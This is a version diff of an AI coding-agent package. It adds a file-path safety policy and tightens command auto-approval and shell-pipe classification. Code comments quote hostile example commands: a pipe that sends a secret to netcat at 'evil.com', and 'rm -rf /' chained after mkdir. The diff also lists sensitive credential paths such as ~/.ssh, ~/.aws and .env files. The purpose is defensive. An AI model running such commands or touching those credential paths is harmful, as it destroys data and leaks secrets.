@cjhyy/code-shell-core 0.5.0-rc.1 → 0.5.0-rc.2

package/dist/tool-system/path-policy.js

@@ -0,0 +1,279 @@
+/**
+ * PathPolicy — shared classifier for file-tool path safety.
+ *
+ * Today the file tools (Read, Write, Edit, ApplyPatch, NotebookEdit) operate
+ * directly on host paths with no shared safety layer. acceptEdits / Bash
+ * sandboxing don't help here: a Write that an LLM points at ~/.aws/credentials
+ * or a path outside the workspace gets silently honored.
+ *
+ * This module is the MVP boundary called out in
+ * docs/superpowers/plans/2026-05-27-core-quality-iteration.md, Workstream B.
+ *
+ * Decision shape:
+ *   "allow"  — proceed without prompting (in-workspace and not sensitive)
+ *   "ask"    — caller must obtain user approval (outside workspace, OR
+ *              sensitive-path read)
+ *   "deny"   — refuse outright (sensitive-path write)
+ *
+ * The classifier is pure: it resolves symlinks (best effort), checks against
+ * an explicit sensitive list, then compares against the workspace root. It
+ * never reads the file; the caller is the one with IO.
+ *
+ * Rollout escape hatch:
+ *   CODESHELL_PATH_POLICY=off  → classifyPath returns "allow" for everything
+ *   (logged once per process). This is the reversible-rollout switch
+ *   recorded in the plan's Definition of Done.
+ *
+ * acceptEdits cannot bypass this layer — by design, acceptEdits is a
+ * permission-system shortcut that lets routine in-workspace edits skip an
+ * approval round-trip; it is not an authority to write anywhere on disk.
+ * Callers must consult classifyPath before honoring acceptEdits.
+ */
+import { realpathSync } from "node:fs";
+import { homedir } from "node:os";
+import { dirname, isAbsolute, resolve as resolvePath, sep } from "node:path";
+/**
+ * Default sensitive path patterns. These are evaluated AFTER home-expansion
+ * and resolution, so a literal "$HOME/.ssh" and a symlink at /tmp/x → ~/.ssh
+ * are both caught.
+ *
+ * Mirrors the existing list in sandbox/index.ts so Bash and file tools agree
+ * on what "sensitive" means — keep them in sync when adding entries.
+ */
+const SENSITIVE_DIR_PATTERNS = [
+    ".ssh",
+    ".aws",
+    ".config/gcloud",
+    ".code-shell",
+    ".claude",
+    ".gnupg",
+    ".kube",
+    ".docker",
+];
+/**
+ * Files that are sensitive regardless of where they live: an `.env` next to
+ * the code, an `id_rsa` in a random folder, etc.
+ */
+const SENSITIVE_FILE_PATTERNS = [
+    /^\.env(\..+)?$/i, // .env, .env.local, .env.production, …
+    /^id_(rsa|dsa|ecdsa|ed25519)(\.pub)?$/i,
+    /\.pem$/i,
+    /\.p12$/i,
+    /\.pfx$/i,
+    /auth/i,
+    /token/i,
+    /credential/i,
+    /secret/i,
+];
+const ENV_DISABLE = "CODESHELL_PATH_POLICY";
+let warnedDisabled = false;
+function policyDisabled() {
+    const v = process.env[ENV_DISABLE];
+    return v === "off" || v === "0" || v === "false";
+}
+function expandTilde(p) {
+    if (p === "~")
+        return homedir();
+    if (p.startsWith("~/") || p.startsWith("~" + sep)) {
+        return homedir() + p.slice(1);
+    }
+    return p;
+}
+/**
+ * Best-effort resolution. realpath fails when the path doesn't exist yet —
+ * the common case for Write creating a new file. We walk up to the nearest
+ * existing ancestor, realpath *that*, then re-append the remaining segments.
+ *
+ * Why this matters: on macOS, /var is a symlink to /private/var, so a
+ * tmpdir() workspace at /var/folders/... realpaths to /private/var/folders/...
+ * If we naively `resolve()` a non-existing child of the workspace, its
+ * prefix won't match the realpathed workspace and an in-workspace write
+ * would be misclassified as outside-workspace.
+ */
+function safeRealpath(p) {
+    const abs = isAbsolute(p) ? p : resolvePath(process.cwd(), p);
+    // Walk up to the nearest existing ancestor.
+    let candidate = abs;
+    const segments = [];
+    // Cap the walk so a pathological input can't spin forever.
+    for (let i = 0; i < 64; i++) {
+        try {
+            const resolved = realpathSync(candidate);
+            if (segments.length === 0)
+                return resolved;
+            return resolvePath(resolved, ...segments.reverse());
+        }
+        catch {
+            const parent = dirname(candidate);
+            if (parent === candidate) {
+                // Reached root without finding anything that exists — return the
+                // original absolute form so the caller still has a usable path.
+                return abs;
+            }
+            segments.push(candidate.slice(parent.length + (parent.endsWith(sep) ? 0 : 1)));
+            candidate = parent;
+        }
+    }
+    return abs;
+}
+function isInsideDir(child, parent) {
+    const p = parent.endsWith(sep) ? parent : parent + sep;
+    return child === parent || child.startsWith(p);
+}
+/**
+ * Returns the matching sensitive-dir entry (with the user's home prefix) if
+ * `resolved` lives underneath any sensitive directory, else undefined.
+ */
+function matchSensitiveDir(resolved) {
+    const home = homedir();
+    for (const rel of SENSITIVE_DIR_PATTERNS) {
+        const full = home + sep + rel;
+        if (isInsideDir(resolved, full))
+            return "~/" + rel;
+    }
+    return undefined;
+}
+/**
+ * Returns the matching pattern label if the basename matches a sensitive
+ * file rule, else undefined.
+ */
+function matchSensitiveFile(resolved) {
+    const base = resolved.slice(resolved.lastIndexOf(sep) + 1);
+    for (const re of SENSITIVE_FILE_PATTERNS) {
+        if (re.test(base))
+            return base;
+    }
+    return undefined;
+}
+function isSafeCodeShellDiagnosticRead(resolved) {
+    const home = homedir();
+    const root = home + sep + ".code-shell";
+    if (!isInsideDir(resolved, root))
+        return false;
+    const rel = resolved.slice(root.length + 1);
+    const parts = rel.split(sep).filter(Boolean);
+    if (parts[0] === "sessions" && /^s-[A-Za-z0-9_-]+$/.test(parts[1] ?? "")) {
+        return parts[2] === "tool-results" || parts[2] === "logs" || parts[2] === "transcript";
+    }
+    if (parts[0] === "logs") {
+        const name = parts[1] ?? "";
+        return /^(desktop|tui|agent|main)-.+\.log$/i.test(name);
+    }
+    return false;
+}
+/**
+ * Classify a file path against the workspace + sensitive-path policy.
+ *
+ * Decision matrix:
+ *
+ *                                  read      write
+ *   inside workspace, not sens.    allow     allow
+ *   inside workspace, sensitive    ask       deny
+ *   outside workspace, not sens.   ask       ask
+ *   outside workspace, sensitive   ask       deny
+ *
+ * Sensitive wins over workspace placement: a `.env` checked into the project
+ * still asks on read and denies on write.
+ */
+export function classifyPath(rawPath, opts) {
+    if (typeof rawPath !== "string" || rawPath.length === 0) {
+        return { decision: "deny", reason: "empty path", resolvedPath: "" };
+    }
+    if (policyDisabled()) {
+        if (!warnedDisabled) {
+            // One-shot stderr nudge so an operator who flipped the flag sees it
+            // surfaced. We deliberately don't import the logger here to keep this
+            // module dependency-light — sanitize-messages can find this entry
+            // separately when callers log their PathPolicy decisions.
+            // eslint-disable-next-line no-console
+            console.warn(`[path-policy] CODESHELL_PATH_POLICY=${process.env[ENV_DISABLE]} — file path enforcement is OFF`);
+            warnedDisabled = true;
+        }
+        return { decision: "allow", reason: "policy disabled", resolvedPath: rawPath };
+    }
+    const expanded = expandTilde(rawPath);
+    const resolved = safeRealpath(expanded);
+    const workspace = safeRealpath(opts.workspaceRoot);
+    const sensitiveDir = matchSensitiveDir(resolved);
+    const sensitiveFile = matchSensitiveFile(resolved);
+    const sensitiveLabel = sensitiveDir ?? sensitiveFile;
+    const insideWorkspace = isInsideDir(resolved, workspace);
+    // Sensitive: write is always denied, read always asks. Workspace placement
+    // doesn't soften the rule — an `.env` in the project still asks on read.
+    if (sensitiveLabel) {
+        if (opts.operation === "read" && isSafeCodeShellDiagnosticRead(resolved)) {
+            return {
+                decision: "allow",
+                reason: "safe CodeShell diagnostic read",
+                resolvedPath: resolved,
+            };
+        }
+        if (opts.operation === "write") {
+            return {
+                decision: "deny",
+                reason: `sensitive path (${sensitiveLabel}): writes are not permitted`,
+                resolvedPath: resolved,
+            };
+        }
+        return {
+            decision: "ask",
+            reason: `sensitive path (${sensitiveLabel}): read requires approval`,
+            resolvedPath: resolved,
+        };
+    }
+    if (insideWorkspace) {
+        return { decision: "allow", reason: "inside workspace", resolvedPath: resolved };
+    }
+    // Outside workspace: ask for both read and write. The conservative bias
+    // matches the plan's leaning answer to Q1 — ask on sensitive reads, deny
+    // on silently-allowed writes; outside-workspace falls in between.
+    return {
+        decision: "ask",
+        reason: "outside workspace: caller approval required",
+        resolvedPath: resolved,
+    };
+}
+/**
+ * Convenience wrapper for the file-tool integration. Pass the ToolContext's
+ * cwd (or undefined for non-LLM call sites), the target path, and the
+ * operation; returns either null (proceed) or an error string (refuse).
+ *
+ * Semantics:
+ *   - decision="allow" → returns null.
+ *   - decision="deny"  → returns a "blocked by path policy" message.
+ *   - decision="ask"   → MVP: without a hooked-up askUser path here, we
+ *                        translate ask → refuse with an explanatory error
+ *                        so the LLM sees the refusal and can choose a
+ *                        different path. This is the conservative choice
+ *                        the plan calls out for the MVP rollout.
+ *
+ * `workspaceRoot === undefined` is the explicit signal that the caller is
+ * NOT an LLM-driven tool invocation (the ToolRegistry always threads ctx
+ * through, ctx always carries cwd). Standalone tests, scripts importing
+ * a tool function directly, and a few legacy CLI paths can be in this
+ * shape — we bypass policy for them rather than pretending process.cwd()
+ * is a meaningful workspace. The CODESHELL_PATH_POLICY=off env switch
+ * remains the rollback knob for the LLM-driven path.
+ */
+export function enforcePathPolicy(filePath, operation, workspaceRoot) {
+    if (workspaceRoot === undefined)
+        return null;
+    const c = classifyPath(filePath, { workspaceRoot, operation });
+    if (c.decision === "allow")
+        return null;
+    if (c.decision === "deny") {
+        return `Error: blocked by path policy — ${c.reason}. Path: ${c.resolvedPath}`;
+    }
+    // ask — MVP refuses with explanatory message until askUser plumbing
+    // lands. The conservative bias matches the plan's leaning answer for Q1.
+    return `Error: path requires approval — ${c.reason}. Path: ${c.resolvedPath}. ` +
+        `Set CODESHELL_PATH_POLICY=off to disable enforcement during a rollback.`;
+}
+/**
+ * Internal: reset the "disabled warning" latch. Tests flip the env var
+ * between cases and need each one to be able to re-trigger the warning.
+ * Not exported on the public surface beyond test usage.
+ */
+export function __resetPathPolicyWarnLatchForTests() {
+    warnedDisabled = false;
+}

package/dist/tool-system/permission.js

@@ -37,11 +37,10 @@ export class AutoApprovalBackend {
         if (req.riskLevel === "low") {
             return { approved: true };
         }
-        // Auto-approve common safe patterns
-        if (this.isSafeOperation(req)) {
-            return { approved: true };
-        }
-        // Auto-deny high-risk dangerous commands
+        // Deny gate runs BEFORE the safe-prefix fast-path: a high-risk command
+        // must never be auto-approved just because it begins with a "safe" verb
+        // (e.g. `mkdir /tmp && rm -rf /`). The classifier already flagged it
+        // dangerous; honor that first.
         if (req.riskLevel === "high") {
             if (this.delegate) {
                 return this.delegate.requestApproval(req);
@@ -51,11 +50,22 @@ export class AutoApprovalBackend {
                 reason: "auto mode: high-risk operation denied (no interactive approval available)",
             };
         }
-        // Medium risk: delegate if available, otherwise approve
+        // Auto-approve common safe patterns (only reachable for low/medium risk).
+        if (this.isSafeOperation(req)) {
+            return { approved: true };
+        }
+        // Medium risk that is NOT an established-safe operation: delegate if
+        // available, otherwise fail CLOSED (matching the high-risk branch and the
+        // "auto = approve safe operations only" contract). Auto-approving here
+        // would silently run unvetted commands like `kill`, `npm publish`, or
+        // unknown binaries.
         if (this.delegate) {
             return this.delegate.requestApproval(req);
         }
-        return { approved: true };
+        return {
+            approved: false,
+            reason: "auto mode: medium-risk operation denied (no interactive approval available)",
+        };
     }
     isSafeOperation(req) {
         const { toolName, args } = req;
@@ -67,42 +77,15 @@ export class AutoApprovalBackend {
                 return true;
             }
         }
-        // Safe bash commands
+        // Safe bash commands. Reuse the metacharacter-aware classifier instead of
+        // a naive startsWith() prefix match — the latter only inspects the first
+        // token and is blind to command chaining (`&&`/`||`/`;`), substitution,
+        // redirection, and pipe-to-shell, so `mkdir /tmp && rm -rf /` would slip
+        // through. classifyBashCommand/scanShellCommand handle all of those.
         if (toolName === "Bash") {
             const cmd = String(args.command ?? "");
-            const safePrefixes = [
-                "git ",
-                "npm ",
-                "pnpm ",
-                "yarn ",
-                "npx ",
-                "node ",
-                "tsc ",
-                "eslint ",
-                "prettier ",
-                "vitest ",
-                "jest ",
-                "cargo ",
-                "go ",
-                "python ",
-                "pip ",
-                "make ",
-                "ls ",
-                "cat ",
-                "head ",
-                "tail ",
-                "wc ",
-                "echo ",
-                "mkdir ",
-                "touch ",
-                "pwd",
-                "whoami",
-                "date",
-                "which ",
-            ];
-            if (safePrefixes.some((p) => cmd.startsWith(p))) {
-                return true;
-            }
+            const level = classifyBashCommand(cmd);
+            return level === "safe-read" || level === "safe-write";
         }
         return false;
     }
@@ -455,20 +438,30 @@ function scanShellCommand(input) {
 function classifySegment(segment) {
     if (DANGEROUS_PATTERNS.some((p) => p.test(segment)))
         return "dangerous";
-    if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
-        return "safe-read";
-    if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
-        return "safe-write";
-    // Pipe handling within a segment: every command in the pipe must
-    // independently classify as safe-read for the segment to count as
-    // safe-read. We did not split on `|` in the scanner because pipes
-    // are not statement boundaries; they're per-segment data flow.
+    // Pipe handling FIRST: every command in the pipe must independently
+    // classify as safe-read for the segment to count as safe-read. This has to
+    // run before the whole-segment SAFE_READ/SAFE_WRITE match below, because
+    // those patterns are head-anchored (e.g. /^echo\s/) and would match
+    // `echo secret | nc evil.com` on its `echo ` head while ignoring the
+    // `| nc ...` exfil tail — declaring a piped-to-network command safe-read.
+    // We did not split on `|` in the scanner because pipes are not statement
+    // boundaries; they're per-segment data flow.
     if (segment.includes("|")) {
+        // A pipe part may be an argument-less command (`ls`, `pwd`) whose trailing
+        // space was stripped along with the `|`. Test each part both as-is (for
+        // `$`-anchored patterns like /^pwd$/) and with a trailing space appended
+        // (for `\s`-delimited patterns like /^ls\s/), so neither form is missed.
         const parts = segment.split("|").map((p) => p.trim());
-        if (parts.every((p) => SAFE_READ_PATTERNS.some((re) => re.test(p)))) {
+        const partIsSafeRead = (p) => SAFE_READ_PATTERNS.some((re) => re.test(p) || re.test(`${p} `));
+        if (parts.every(partIsSafeRead)) {
             return "safe-read";
         }
+        return "unsafe";
     }
+    if (SAFE_READ_PATTERNS.some((p) => p.test(segment)))
+        return "safe-read";
+    if (SAFE_WRITE_PATTERNS.some((p) => p.test(segment)))
+        return "safe-write";
     return "unsafe";
 }
 const SAFETY_RANK = {

package/dist/tool-system/plan-mode-allowlist.d.ts

@@ -0,0 +1,21 @@
+/**
+ * Single source of truth for which tools are permitted in plan mode.
+ *
+ * Two call sites consume this:
+ *   - engine.ts: filters the tool DEFINITIONS shown to the model, so the
+ *     model only sees tools it's allowed to use while planning.
+ *   - executor.ts: gates tool EXECUTION, refusing anything outside the set.
+ *
+ * These two lists used to be maintained separately and drifted (engine had
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
+ * Task family), so the model could be shown a tool the executor would then
+ * block, or vice-versa. Keep them identical by importing this constant in
+ * both places.
+ *
+ * Membership policy: read-only tools, planning/agent tools, and
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
+ * the executor additionally gates Bash to read-only commands at call time
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
+ * other mutating tools are intentionally excluded.
+ */
+export declare const PLAN_MODE_ALLOWED_TOOLS: ReadonlySet<string>;

package/dist/tool-system/plan-mode-allowlist.js

@@ -0,0 +1,43 @@
+/**
+ * Single source of truth for which tools are permitted in plan mode.
+ *
+ * Two call sites consume this:
+ *   - engine.ts: filters the tool DEFINITIONS shown to the model, so the
+ *     model only sees tools it's allowed to use while planning.
+ *   - executor.ts: gates tool EXECUTION, refusing anything outside the set.
+ *
+ * These two lists used to be maintained separately and drifted (engine had
+ * the Task family + Bash but not TodoWrite; executor had TodoWrite but not the
+ * Task family), so the model could be shown a tool the executor would then
+ * block, or vice-versa. Keep them identical by importing this constant in
+ * both places.
+ *
+ * Membership policy: read-only tools, planning/agent tools, and
+ * non-destructive task-tracking tools. Bash is included so the model sees it;
+ * the executor additionally gates Bash to read-only commands at call time
+ * (see executor.isReadOnlyBashCommand). Write/Edit/ApplyPatch/NotebookEdit and
+ * other mutating tools are intentionally excluded.
+ */
+export const PLAN_MODE_ALLOWED_TOOLS = new Set([
+    // Plan lifecycle
+    "EnterPlanMode",
+    "ExitPlanMode",
+    // Read-only investigation
+    "Read",
+    "Glob",
+    "Grep",
+    "WebSearch",
+    "WebFetch",
+    // Agent / interaction / discovery
+    "AskUserQuestion",
+    "Agent",
+    "ToolSearch",
+    // Task tracking (non-destructive) — both the TodoWrite and the Task* family
+    "TodoWrite",
+    "TaskCreate",
+    "TaskUpdate",
+    "TaskList",
+    "TaskGet",
+    // Bash: visible to the model; executor gates it to read-only commands.
+    "Bash",
+]);

package/dist/tool-system/registry.js

@@ -101,7 +101,18 @@ export class ToolRegistry {
             ]);
             clearTimeout(timerId);
             parentSignal?.removeEventListener("abort", onParentAbort);
-            return { id, toolName: name, result };
+            // executor 可返回纯字符串,或 { contentBlocks, result? }(view_image
+            // 用后者回传图片块)。归一化成 ToolResult:有 contentBlocks 就带上,
+            // result 始终保留一份文本镜像供 transcript / 摘要使用。
+            if (typeof result === "string") {
+                return { id, toolName: name, result };
+            }
+            return {
+                id,
+                toolName: name,
+                result: result.result ?? "(image)",
+                contentBlocks: result.contentBlocks,
+            };
         }
         catch (err) {
             clearTimeout(timerId);

package/dist/tool-system/validation.d.ts

@@ -1,3 +1,13 @@
+/**
+ * Lightweight tool input validation against a JSON Schema.
+ *
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
+ * nested shapes, and formats are intentionally NOT validated — this is a
+ * cheap pre-flight guard, not a substitute for the provider's own schema
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
+ * never used zod — corrected to avoid misleading readers.)
+ */
 /**
  * Validate tool args against the tool's inputSchema.
  * Returns null if valid, error string if invalid.

package/dist/tool-system/validation.js

@@ -1,3 +1,13 @@
+/**
+ * Lightweight tool input validation against a JSON Schema.
+ *
+ * NOT a full JSON-Schema validator: it only checks `required` presence and
+ * top-level primitive types (string/number/boolean). Arrays, objects, enums,
+ * nested shapes, and formats are intentionally NOT validated — this is a
+ * cheap pre-flight guard, not a substitute for the provider's own schema
+ * enforcement. (Was previously labelled "Zod-based" and imported `z`, but
+ * never used zod — corrected to avoid misleading readers.)
+ */
 /**
  * Validate tool args against the tool's inputSchema.
  * Returns null if valid, error string if invalid.
@@ -6,14 +16,17 @@ export function validateToolArgs(toolName, args, schema) {
     try {
         const properties = schema.properties;
         const required = schema.required ?? [];
-        if (!properties)
-            return null;
-        // Check required fields
+        // Required-field presence does not depend on `properties` existing — a
+        // schema may declare `required` with no `properties` block (e.g. a
+        // malformed external MCP tool schema). Check it before the properties
+        // guard so missing params are still caught.
         for (const field of required) {
             if (args[field] === undefined || args[field] === null) {
                 return `Missing required parameter: ${field}`;
             }
         }
+        if (!properties)
+            return null; // No property shapes to type-check.
         // Type check each provided field
         for (const [key, value] of Object.entries(args)) {
             const propSchema = properties[key];